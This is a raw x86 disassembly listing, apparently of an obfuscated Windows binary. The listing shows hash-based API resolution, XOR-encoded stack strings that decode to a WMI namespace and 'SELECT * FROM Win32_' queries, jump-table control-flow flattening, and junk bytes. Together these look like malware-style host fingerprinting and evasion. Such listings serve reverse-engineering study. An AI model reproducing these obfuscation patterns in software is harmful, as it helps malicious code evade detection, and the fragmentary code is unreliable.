mov edx, dword [esi + 4]
jmp 0x429187
mov dword [esi + 0xc], edi
xor edi, edi
cmp edx, 3
mov edx, dword [esi + 4]
jb 0x429187
mov edi, dword [esi + 0xc]
mov edx, edi
shr edx, 0xc
or dl, 0xe0
mov byte [ecx], dl
mov edx, dword [esi + 4]
shr edi, 6
mov dword [esi + 0xc], ecx
mov ecx, edi
and cl, 0x3f
or cl, 0x80
mov edi, dword [esi + 0xc]
mov byte [edi + 1], cl
and bl, 0x3f
or bl, 0x80
mov byte [edi + 2], bl
mov edi, 3
jmp 0x429187
mov dword [esi + 4], edx
mov byte [ecx], 0
lea edi, [esi + 0xcc]
push 0xdc
push 0
push edi
call fcn.004096a0
add esp, 0xc
mov word [esi + 0x110], 0xdc
push 0x30be1b3b
push dword [esi + 0xac]
call fcn.0043e950
add esp, 8
push edi
push 0xffffffffffffffff
push 0
call eax
mov ebx, dword [esi + 0x178]
mov byte [esi + 0x1db], 0
test ebx, ebx
je 0x4292ce
lea edi, [esi + 0x1db]
cmp ebx, 0x64
jb 0x4292e0
nop
mov eax, ebx
mov ecx, 0x51eb851f
mul ecx
shr edx, 5
imul eax, edx, 0x64
mov ecx, ebx
sub ecx, eax
movzx eax, word [ecx + ecx + 0x442318]
mov word [edi - 2], ax
add edi, 0xfffffffe
cmp ebx, 0x270f
mov ebx, edx
ja 0x429290
cmp edx, 9
ja 0x4292e7
movzx eax, byte [edx + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov byte [edi - 1], al
dec edi
jmp 0x4292f6
lea eax, [esi + 0x1da]
mov dword [esi + 8], eax
mov byte [esi + 0x1da], 0x30
jmp 0x4292f9
mov edx, ebx
cmp edx, 9
jbe 0x4292c1
movzx eax, word [edx + edx + 0x442318]
mov word [edi - 2], ax
add edi, 0xfffffffe
mov dword [esi + 8], edi
mov edi, dword [esi + 0x17c]
mov byte [esi + 0x1cf], 0
test edi, edi
mov edx, dword [esi + 4]
je 0x42935e
lea ebx, [esi + 0x1cf]
cmp edi, 0x64
jb 0x42936d
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, edi
mov ecx, 0x51eb851f
mul ecx
shr edx, 5
imul eax, edx, 0x64
mov ecx, edi
sub ecx, eax
movzx eax, word [ecx + ecx + 0x442318]
mov word [ebx - 2], ax
add ebx, 0xfffffffe
cmp edi, 0x270f
mov edi, edx
ja 0x429320
cmp edx, 9
ja 0x429374
movzx eax, byte [edx + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov byte [ebx - 1], al
dec ebx
jmp 0x429383
lea ebx, [esi + 0x1ce]
mov byte [esi + 0x1ce], 0x30
jmp 0x429386
mov edx, edi
cmp edx, 9
jbe 0x429351
movzx eax, word [edx + edx + 0x442318]
mov word [ebx - 2], ax
add ebx, 0xfffffffe
mov edx, dword [esi + 4]
mov edi, dword [esi + 8]
mov dword [esi + 0x14], 0x96c1270
mov dword [esi + 0x18], 0xddd0d4db
mov dword [esi + 0x1c], 0xd364ce27
mov dword [esi + 0x20], 0xe5ebec1f
mov dword [esi + 0x24], 0xeee5ebeb
mov dword [esi + 0x28], 0x71503de0
mov word [esi + 0x2c], 0
mov dword [esi + 0x34], 0
mov eax, dword [esi + 0x34]
cmp eax, 0x19
ja 0x429402
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x34]
mov ecx, dword [esi + 0x34]
movzx ecx, byte [esi + ecx + 0x14]
add eax, 0xd279fbd4
xor eax, ecx
mov dword [esi + 0xc8], eax
mov eax, dword [esi + 0xc8]
add al, 0x66
mov ecx, dword [esi + 0x34]
mov byte [esi + ecx + 0x14], al
inc dword [esi + 0x34]
mov eax, dword [esi + 0x34]
cmp eax, 0x1a
jb 0x4293d0
add dword [esi], edx
movzx eax, byte [esi + 0x14]
test al, al
je 0x42942d
lea ecx, [esi + 0x15]
mov edx, dword [esi]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x429420
jmp 0x42942f
mov edx, dword [esi]
mov ecx, edx
mov byte [edx], 0
movzx eax, byte [edi]
test al, al
je 0x42944b
inc edi
nop
nop
nop
nop
mov byte [ecx], al
inc ecx
movzx eax, byte [edi]
inc edi
test al, al
jne 0x429440
mov byte [ecx], pe_nt_image_headers32
inc ecx
mov edi, ecx
movzx eax, byte [ebx]
test al, al
je 0x42946b
inc ebx
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ebx]
inc ebx
test al, al
jne 0x429460
mov byte [edi], 0
push dword [esi + 0x30]
call dword [0x449708]
mov edx, dword [esi + 0x98]
lea ebx, [esi + 0x1dc]
mov byte [edi], 0
mov dword [esi + 0x1dc], 0x9494abfa
mov dword [esi + 0x1e0], 0x90d59b84
mov word [esi + 0x1e4], 0x8ead
mov byte [esi + 0x1e6], 0x3b
mov word [esi + 0x1e7], 0
sub edi, edx
mov dword [esi + 0x14], 0
mov eax, dword [esi + 0x14]
cmp eax, 0xc
ja 0x429508
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x14]
movzx ecx, byte [esi + ecx + 0x1dc]
add eax, 0x5216d4c7
xor eax, ecx
mov dword [esi + 0xcc], eax
mov eax, dword [esi + 0xcc]
add al, 0x16
mov ecx, dword [esi + 0x14]
mov byte [esi + ecx + 0x1dc], al
inc dword [esi + 0x14]
mov eax, dword [esi + 0x14]
cmp eax, 0xd
jb 0x4294d0
mov ecx, dword [ebp + 8]
push edi
push edx
push ebx
mov edi, edx
call fcn.00409fb0
jmp dword [0x4479c8]
push edi
call fcn.00409630
add esp, 4
mov eax, dword [case.0x429110.7]
nop
nop
nop
nop
nop
nop
nop
jmp eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
int3
call fcn.00419ba0
mov dword [esp + 0x430], 1
mov eax, dword [esp + 0x434]
mov ecx, dword [esp + 0x430]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.00419ba0
mov dword [esp + 0x328], 0
mov eax, dword [esp + 0x32c]
mov ecx, dword [esp + 0x328]
mov eax, dword [eax + ecx*4]
jmp eax
dec esi
push ebx
mov esp, 0x24848bee
dec eax
add al, byte [eax]
add byte [ebx + 0x24c248c], cl
add byte [eax], al
mov eax, dword [ecx + eax*4]
jmp eax
mov edi, dword [eax]
mov eax, dword [esp + 0x2b8]
mov ecx, dword [esp + 0x2bc]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, byte [esp + 0xa0]
mov byte [esp + 0x188], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x52
xor eax, 0x58
mov byte [esp + 0xc8], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x59
mov byte [esp + 0xc9], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x4f
xor eax, 0x5a
mov byte [esp + 0xca], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x5b
mov byte [esp + 0xcb], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x4f
xor eax, 0x5c
mov byte [esp + 0xcc], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x5d
mov byte [esp + 0xcd], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x54
xor eax, 0x5e
mov byte [esp + 0xce], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x5f
mov byte [esp + 0xcf], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x5c
xor eax, 0x60
mov byte [esp + 0xd0], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x61
mov byte [esp + 0xd1], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x43
xor eax, 0x62
mov byte [esp + 0xd2], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x63
mov byte [esp + 0xd3], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x49
xor eax, 0x64
mov byte [esp + 0xd4], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x65
mov byte [esp + 0xd5], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x4d
xor eax, 0x66
mov byte [esp + 0xd6], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x67
mov byte [esp + 0xd7], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x56
xor eax, 0x68
mov byte [esp + 0xd8], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x69
mov byte [esp + 0xd9], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x32
xor eax, 0x6a
mov byte [esp + 0xda], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x6b
mov byte [esp + 0xdb], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x6c
mov byte [esp + 0xdc], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x6d
mov byte [esp + 0xdd], al
mov eax, 0x16
mov byte [esp + eax + 0xc8], 0
add eax, 1
cmp eax, 0x1c
jne 0x429f04
mov dword [esp + 0xe8], 0
mov eax, dword [esp + 0xe8]
cmp eax, 0x1c
jae 0x429f6c
mov eax, dword [esp + 0xe8]
mov ecx, dword [esp + 0xe8]
movzx ecx, byte [esp + ecx + 0xc8]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.004328a0
mov ecx, dword [esp + 0xe8]
mov byte [esp + ecx + 0xc8], al
mov eax, dword [esp + 0xe8]
inc eax
mov dword [esp + 0xe8], eax
jmp 0x429f1f
lea eax, [esp + 0xc8]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
call eax
sub esp, 4
mov ecx, dword [esp + 0x124]
mov edx, dword [ecx]
mov esi, dword [edx + 0xc]
lea edx, [esp + 0x120]
mov dword [esp + 0x20], edx
mov dword [esp + 0x210], eax
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
call esi
sub esp, 0x24
xor ecx, ecx
test eax, eax
setns al
mov dword [esp + 0x498], 0
mov edx, dword [esp + 0x49c]
mov esi, dword [esp + 0x498]
mov edx, dword [edx + esi*4]
jmp edx
mov dword [esp + 0x128], eax
mov dword [esp + 0x118], ebx
mov eax, dword [esp + 0x458]
mov ecx, dword [esp + 0x45c]
mov eax, dword [ecx + eax*4]
jmp eax
push esi
mov eax, 0x848a0390
and al, 0xa0
add byte [eax], al
add byte [eax + 0x1842484], cl
add byte [eax], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x52
xor eax, 0x58
mov byte [esp + 0xc8], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x59
mov byte [esp + 0xc9], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x4f
xor eax, 0x5a
mov byte [esp + 0xca], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x5b
mov byte [esp + 0xcb], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x4f
xor eax, 0x5c
mov byte [esp + 0xcc], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x5d
mov byte [esp + 0xcd], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x54
xor eax, 0x5e
mov byte [esp + 0xce], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x5f
mov byte [esp + 0xcf], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x5c
xor eax, 0x60
mov byte [esp + 0xd0], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x61
mov byte [esp + 0xd1], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x43
xor eax, 0x62
mov byte [esp + 0xd2], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x63
mov byte [esp + 0xd3], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x49
xor eax, 0x64
mov byte [esp + 0xd4], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x65
mov byte [esp + 0xd5], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x4d
xor eax, 0x66
mov byte [esp + 0xd6], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x67
mov byte [esp + 0xd7], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x56
xor eax, 0x68
mov byte [esp + 0xd8], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x69
mov byte [esp + 0xd9], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x32
xor eax, 0x6a
mov byte [esp + 0xda], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x6b
mov byte [esp + 0xdb], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x6c
mov byte [esp + 0xdc], al
mov dword [esp], 0x814f7658
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x6d
mov byte [esp + 0xdd], al
mov eax, 0x16
mov byte [esp + eax + 0xc8], 0
add eax, 1
cmp eax, 0x1c
jne 0x42a2e9
mov dword [esp + 0xec], 0
mov eax, dword [esp + 0xec]
cmp eax, 0x1c
jae 0x42a351
mov eax, dword [esp + 0xec]
mov ecx, dword [esp + 0xec]
movzx ecx, byte [esp + ecx + 0xc8]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.004328a0
mov ecx, dword [esp + 0xec]
mov byte [esp + ecx + 0xc8], al
mov eax, dword [esp + 0xec]
inc eax
mov dword [esp + 0xec], eax
jmp 0x42a304
lea eax, [esp + 0xc8]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
call eax
sub esp, 4
mov edx, dword [esp + 0x124]
mov ecx, dword [edx]
mov ecx, dword [ecx + 0xc]
lea esi, [esp + 0x120]
mov dword [esp + 0x20], esi
mov dword [esp + 4], eax
mov dword [esp], edx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
call ecx
sub esp, 0x24
mov eax, dword [esp + 0x288]
mov ecx, dword [esp + 0x28c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x120]
mov dword [esp], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 3
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0xa
mov eax, dword [sym.imp.ole32.dll_CoSetProxyBlanket]
call eax
sub esp, 0x20
not eax
shr eax, 0x1f
mov dword [esp + 0x488], eax
mov eax, dword [esp + 0x48c]
mov ecx, dword [esp + 0x488]
mov eax, dword [eax + ecx*4]
jmp eax
test byte [edx - 0x5f25cdba], 0xa8
wait
mov eax, dword [esp + 0x220]
mov ecx, dword [esp + 0x224]
mov eax, dword [ecx + eax*4]
jmp eax
lea eax, [esp + 0x1d0]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
sub esp, 4
mov esi, dword [esp + 0xe4]
mov al, byte [esp + 0x28]
mov byte [esp + 0x1a0], al
mov dword [esp], 0x81d3dbcf
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x43
xor eax, 0xcf
mov byte [esp + 0x2c], al
mov dword [esp], 0x81d3dbcf
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xd0
mov byte [esp + 0x2d], al
mov dword [esp], 0x81d3dbcf
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x61
xor eax, 0xd1
mov byte [esp + 0x2e], al
mov dword [esp], 0x81d3dbcf
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xd2
mov byte [esp + 0x2f], al
mov dword [esp], 0x81d3dbcf
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x70
xor eax, 0xd3
mov byte [esp + 0x30], al
mov dword [esp], 0x81d3dbcf
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xd4
mov byte [esp + 0x31], al
mov dword [esp], 0x81d3dbcf
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x74
xor eax, 0xd5
mov byte [esp + 0x32], al
mov dword [esp], 0x81d3dbcf
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xd6
mov byte [esp + 0x33], al
mov dword [esp], 0x81d3dbcf
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x69
xor eax, 0xd7
mov byte [esp + 0x34], al
mov dword [esp], 0x81d3dbcf
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xd8
mov byte [esp + 0x35], al
mov dword [esp], 0x81d3dbcf
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x6f
xor eax, 0xd9
mov byte [esp + 0x36], al
mov dword [esp], 0x81d3dbcf
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xda
mov byte [esp + 0x37], al
mov dword [esp], 0x81d3dbcf
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x6e
xor eax, 0xdb
mov byte [esp + 0x38], al
mov dword [esp], 0x81d3dbcf
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xdc
mov byte [esp + 0x39], al
mov dword [esp], 0x81d3dbcf
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xdd
mov byte [esp + 0x3a], al
mov dword [esp], 0x81d3dbcf
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xde
mov byte [esp + 0x3b], al
mov eax, 0x10
mov byte [esp + eax + 0x2c], 0
add eax, 1
cmp eax, 0x14
jne 0x42a660
mov dword [esp + 0x100], 0
mov eax, dword [esp + 0x100]
cmp eax, 0x14
jae 0x42a6bf
mov eax, dword [esp + 0x100]
mov ecx, dword [esp + 0x100]
movzx ecx, byte [esp + ecx + 0x2c]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00432900
mov ecx, dword [esp + 0x100]
mov byte [esp + ecx + 0x2c], al
mov eax, dword [esp + 0x100]
inc eax
mov dword [esp + 0x100], eax
jmp 0x42a678
mov eax, dword [esi]
mov eax, dword [eax + 0x10]
lea ecx, [esp + 0x1d0]
mov dword [esp + 0xc], ecx
lea ecx, [esp + 0x2c]
mov dword [esp + 4], ecx
mov dword [esp], esi
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call eax
sub esp, 0x18
test eax, eax
setns al
mov cx, word [esp + 0x1d0]
sub cx, 8
sete cl
and al, cl
mov dword [esp + 0x428], 0
mov ecx, dword [esp + 0x42c]
mov edx, dword [esp + 0x428]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.00419ba0
mov dword [esp + 0x390], 1
mov eax, dword [esp + 0x394]
mov ecx, dword [esp + 0x390]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x318]
mov ecx, dword [esp + 0x31c]
add byte [eax], al
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.00419ba0
mov dword [esp], esi
call fcn.00409630
mov dword [esp + 0x340], 0
mov eax, dword [esp + 0x344]
mov ecx, dword [esp + 0x340]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x320]
mov ecx, dword [esp + 0x324]
mov eax, dword [ecx + eax*4]
jmp eax
jge 0x42a75a
xor al, 0x42
lea eax, [esp + 0x94]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
sub esp, 4
mov al, byte [esp + 0x40]
mov byte [esp + 0x194], al
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x53
mov ecx, eax
add ecx, 0x3e9c1629
and eax, 0x3e9c1629
shl eax, 1
sub ecx, eax
mov byte [esp + 0x44], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c162a
and eax, 0x3e9c162a
shl eax, 1
sub ecx, eax
mov byte [esp + 0x45], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x45
mov ecx, eax
add ecx, 0x3e9c162b
and eax, 0x3e9c162b
shl eax, 1
sub ecx, eax
mov byte [esp + 0x46], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c162c
and eax, 0x3e9c162c
shl eax, 1
sub ecx, eax
mov byte [esp + 0x47], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x4c
mov ecx, eax
add ecx, 0x3e9c162d
and eax, 0x3e9c162d
shl eax, 1
sub ecx, eax
mov byte [esp + 0x48], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c162e
and eax, 0x3e9c162e
shl eax, 1
sub ecx, eax
mov byte [esp + 0x49], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x45
mov ecx, eax
add ecx, 0x3e9c162f
and eax, 0x3e9c162f
shl eax, 1
sub ecx, eax
mov byte [esp + 0x4a], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1630
and eax, 0x3e9c1630
shl eax, 1
sub ecx, eax
mov byte [esp + 0x4b], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x43
mov ecx, eax
add ecx, 0x3e9c1631
and eax, 0x3e9c1631
shl eax, 1
sub ecx, eax
mov byte [esp + 0x4c], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1632
and eax, 0x3e9c1632
shl eax, 1
sub ecx, eax
mov byte [esp + 0x4d], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x54
mov ecx, eax
add ecx, 0x3e9c1633
and eax, 0x3e9c1633
shl eax, 1
sub ecx, eax
mov byte [esp + 0x4e], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1634
and eax, 0x3e9c1634
shl eax, 1
sub ecx, eax
mov byte [esp + 0x4f], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x20
mov ecx, eax
add ecx, 0x3e9c1635
and eax, 0x3e9c1635
shl eax, 1
sub ecx, eax
mov byte [esp + 0x50], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1636
and eax, 0x3e9c1636
shl eax, 1
sub ecx, eax
mov byte [esp + 0x51], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x2a
mov ecx, eax
add ecx, 0x3e9c1637
and eax, 0x3e9c1637
shl eax, 1
sub ecx, eax
mov byte [esp + 0x52], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1638
and eax, 0x3e9c1638
shl eax, 1
sub ecx, eax
mov byte [esp + 0x53], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x20
mov ecx, eax
add ecx, 0x3e9c1639
and eax, 0x3e9c1639
shl eax, 1
sub ecx, eax
mov byte [esp + 0x54], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c163a
and eax, 0x3e9c163a
shl eax, 1
sub ecx, eax
mov byte [esp + 0x55], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x46
mov ecx, eax
add ecx, 0x3e9c163b
and eax, 0x3e9c163b
shl eax, 1
sub ecx, eax
mov byte [esp + 0x56], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c163c
and eax, 0x3e9c163c
shl eax, 1
sub ecx, eax
mov byte [esp + 0x57], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x52
mov ecx, eax
add ecx, 0x3e9c163d
and eax, 0x3e9c163d
shl eax, 1
sub ecx, eax
mov byte [esp + 0x58], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c163e
and eax, 0x3e9c163e
shl eax, 1
sub ecx, eax
mov byte [esp + 0x59], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x4f
mov ecx, eax
add ecx, 0x3e9c163f
and eax, 0x3e9c163f
shl eax, 1
sub ecx, eax
mov byte [esp + 0x5a], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1640
and eax, 0x3e9c1640
shl eax, 1
sub ecx, eax
mov byte [esp + 0x5b], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x4d
mov ecx, eax
add ecx, 0x3e9c1641
and eax, 0x3e9c1641
shl eax, 1
sub ecx, eax
mov byte [esp + 0x5c], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1642
and eax, 0x3e9c1642
shl eax, 1
sub ecx, eax
mov byte [esp + 0x5d], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x20
mov ecx, eax
add ecx, 0x3e9c1643
and eax, 0x3e9c1643
shl eax, 1
sub ecx, eax
mov byte [esp + 0x5e], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1644
and eax, 0x3e9c1644
shl eax, 1
sub ecx, eax
mov byte [esp + 0x5f], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x57
mov ecx, eax
add ecx, 0x3e9c1645
and eax, 0x3e9c1645
shl eax, 1
sub ecx, eax
mov byte [esp + 0x60], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1646
and eax, 0x3e9c1646
shl eax, 1
sub ecx, eax
mov byte [esp + 0x61], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x69
mov ecx, eax
add ecx, 0x3e9c1647
and eax, 0x3e9c1647
shl eax, 1
sub ecx, eax
mov byte [esp + 0x62], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1648
and eax, 0x3e9c1648
shl eax, 1
sub ecx, eax
mov byte [esp + 0x63], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x6e
mov ecx, eax
add ecx, 0x3e9c1649
and eax, 0x3e9c1649
shl eax, 1
sub ecx, eax
mov byte [esp + 0x64], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c164a
and eax, 0x3e9c164a
shl eax, 1
sub ecx, eax
mov byte [esp + 0x65], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x33
mov ecx, eax
add ecx, 0x3e9c164b
and eax, 0x3e9c164b
shl eax, 1
sub ecx, eax
mov byte [esp + 0x66], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c164c
and eax, 0x3e9c164c
shl eax, 1
sub ecx, eax
mov byte [esp + 0x67], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x32
mov ecx, eax
add ecx, 0x3e9c164d
and eax, 0x3e9c164d
shl eax, 1
sub ecx, eax
